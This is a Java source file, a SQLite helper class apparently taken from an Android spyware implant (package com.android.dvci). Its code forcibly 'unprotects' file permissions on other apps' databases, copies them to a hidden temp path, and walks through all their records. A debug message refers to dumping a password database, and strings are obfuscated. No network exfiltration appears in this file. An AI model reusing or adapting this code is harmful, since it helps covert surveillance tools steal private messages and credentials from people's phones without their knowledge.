package com.android.dvci.db; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteQueryBuilder; import com.android.dvci.auto.Cfg; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.util.Check; import com.android.dvci.util.Utils; import com.android.mm.M; import java.io.File; import java.io.IOException; /** * Helper to access sqlite db. * * @param <T> * @author zeno */ public class GenericSqliteHelper { // extends SQLiteOpenHelper { private static final String TAG = "GenericSqliteHelper"; private static final int DB_VERSION = 4; public static Object lockObject = new Object(); private String name = null; private SQLiteDatabase db; private boolean isCopy = false; public GenericSqliteHelper(String name, boolean isCopy) { this.name = name; this.isCopy = isCopy; } public GenericSqliteHelper(SQLiteDatabase db) { this.db = db; } /** * Copy the db in a temp directory and opens it * * @param dbFile * @return */ public static GenericSqliteHelper open(String dbFile) { File fs = new File(dbFile); return open(fs); } public static GenericSqliteHelper open(String databasePath, String dbfile) { File fs = new File(databasePath, dbfile); return open(fs); } private static GenericSqliteHelper open(File fs) { String dbFile = fs.getAbsolutePath(); if (fs.exists() && Path.unprotect(dbFile, 4, false)) { return new GenericSqliteHelper(dbFile, false); } else { if (Cfg.DEBUG) { Check.log(TAG + " (dumpPasswordDb) ERROR: no suitable db file"); } return null; } } /** * Copy the db in a temp directory and opens it * * @param dbFile * @return */ public static GenericSqliteHelper openCopy(String dbFile) { File fs = new File(dbFile); dbFile = fs.getAbsolutePath(); if (!(Path.unprotect(dbFile, 4, false) && fs.exists() && fs.canRead())) { if (Cfg.DEBUG) { Check.log(TAG + " (openCopy) ERROR: no suitable db file"); } return null; } String localFile = Path.markup() + fs.getName(); try { Utils.copy(new File(dbFile), new File(localFile)); } catch (IOException e) { return null; } return new GenericSqliteHelper(localFile, true); } /** * Copy the db in a temp directory and opens it * * @param pathSystem * @param file * @return */ public static GenericSqliteHelper openCopy(String pathSystem, String file) { return openCopy(new File(pathSystem, file).getAbsolutePath()); } /* * @Override public void onCreate(SQLiteDatabase db) { } * * @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int * newVersion) { if (Cfg.DEBUG) { Check.log(TAG + " (onUpgrade), old: " + * oldVersion); } } */ public long traverseRawQuery(String sqlquery, String[] selectionArgs, RecordVisitor visitor) { synchronized (lockObject) { db = getReadableDatabase(); Cursor cursor = db.rawQuery(sqlquery, selectionArgs); long ret = traverse(cursor, visitor, new String[]{}); cursor.close(); cursor = null; if (this.db != null) { db.close(); db = null; } return ret; } } public long traverseRecords(String table, RecordVisitor visitor) { return traverseRecords(table,visitor,false); } /** * Traverse all the records of a table on a projection. Visitor pattern * implementation * * @param table * @param visitor */ public long traverseRecords(String table, RecordVisitor visitor, boolean distinct) { synchronized (lockObject) { db = getReadableDatabase(); SQLiteQueryBuilder queryBuilderIndex = new SQLiteQueryBuilder(); queryBuilderIndex.setTables(table); queryBuilderIndex.setDistinct(distinct); Cursor cursor = queryBuilderIndex.query(db, visitor.getProjection(), visitor.getSelection(), null, null, null, visitor.getOrder()); long ret = traverse(cursor, visitor, new String[]{table}); cursor.close(); cursor = null; if (this.db != null) { db.close(); db = null; } return ret; } } private long traverse(Cursor cursor, RecordVisitor visitor, String[] tables) { if (Cfg.DEBUG) { Check.log(TAG + " (traverseRecords)"); } visitor.init(tables, cursor.getCount()); long maxid = 0; // iterate conversation indexes while (cursor != null && cursor.moveToNext() && !visitor.isStopRequested()) { long id = -1; try { id = visitor.cursor(cursor); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (traverseRecords) Error: %s", ex); } } maxid = Math.max(id, maxid); } if (Cfg.DEBUG) { Check.log(TAG + " (traverseRecords) maxid: " + maxid); } visitor.close(); return maxid; } public synchronized SQLiteDatabase getReadableDatabase() { if (db != null && db.isOpen()) { if (Cfg.DEBUG) { Check.log(TAG + " (getReadableDatabase) already opened, closing it"); } try { db.close(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (getReadableDatabase), ERROR: " + ex); } } } try { Path.unprotect(name, 3, true); Path.unprotect(name + M.e("-journal"), true); if (Cfg.DEBUG) { Check.log(TAG + " (getReadableDatabase) open"); } AutoFile file = new AutoFile(name); if (file.exists()) { SQLiteDatabase opened = SQLiteDatabase.openDatabase(name, null, SQLiteDatabase.OPEN_READONLY | SQLiteDatabase.NO_LOCALIZED_COLLATORS); return opened; } else { if (Cfg.DEBUG) { Check.log(TAG + " (getReadableDatabase) Error: file does not exists"); } } } catch (Throwable ex) { if (Cfg.DEBUG) { Check.log(TAG + " (getReadableDatabase) Error: " + ex); } } return null; } public synchronized void disposeDb() { try { if (this.db != null && this.db.isOpen()) { this.db.close(); } if (isCopy) { File file = new File(this.name); file.delete(); } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (disposeDb), ERROR: " + ex); } } } }